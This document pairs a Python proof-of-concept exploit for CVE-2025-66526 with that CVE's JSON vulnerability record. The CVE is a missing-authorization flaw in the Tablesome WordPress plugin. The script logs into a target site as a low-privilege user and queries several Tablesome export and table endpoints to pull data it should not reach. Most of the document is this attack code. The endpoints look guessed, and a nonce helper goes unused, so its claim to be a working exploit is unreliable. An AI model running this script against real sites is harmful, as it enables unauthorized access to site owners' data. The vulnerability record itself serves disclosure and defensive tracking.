CVE-2025-66526

import requests import sys # CVE-2025-66526 PoC - Missing Authorization in Tablesome Plugin # Target: WordPress site with Tablesome plugin <= 1.1.34 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wordpress_nonce(url, cookie=None): """Fetch WordPress nonce for authenticated requests""" response = requests.get(f"{url}/wp-admin/", cookies=cookie) if response.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_tablesome_access_control(): """Exploit the missing authorization vulnerability""" session = requests.Session() # Step 1: Authenticate with low privilege account auth_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } auth_response = session.post( f"{TARGET_URL}/wp-login.php", data=auth_data ) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low privilege account") # Step 2: Exploit missing authorization # Tablesome endpoints that should require higher privileges exploit_endpoints = [ '/wp-json/tablesome/v1/export', '/wp-json/tablesome/v1/tables', '/wp-admin/admin-ajax.php?action=tablesome_export' ] for endpoint in exploit_endpoints: try: response = session.get(f"{TARGET_URL}{endpoint}", timeout=10) if response.status_code == 200 and 'error' not in response.text.lower(): print(f"[+] Exploited endpoint: {endpoint}") print(f"[+] Response: {response.text[:500]}") except Exception as e: print(f"[-] Error on {endpoint}: {str(e)}") return True if __name__ == "__main__": print("[*] CVE-2025-66526 Tablesome Access Control Exploit") exploit_tablesome_access_control()

{"cve": {"id": "CVE-2025-66526", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:19.740", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Essekia Tablesome tablesome allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tablesome: from n/a through <= 1.1.34."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tablesome/vulnerability/wordpress-tablesome-plugin-1-1-34-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}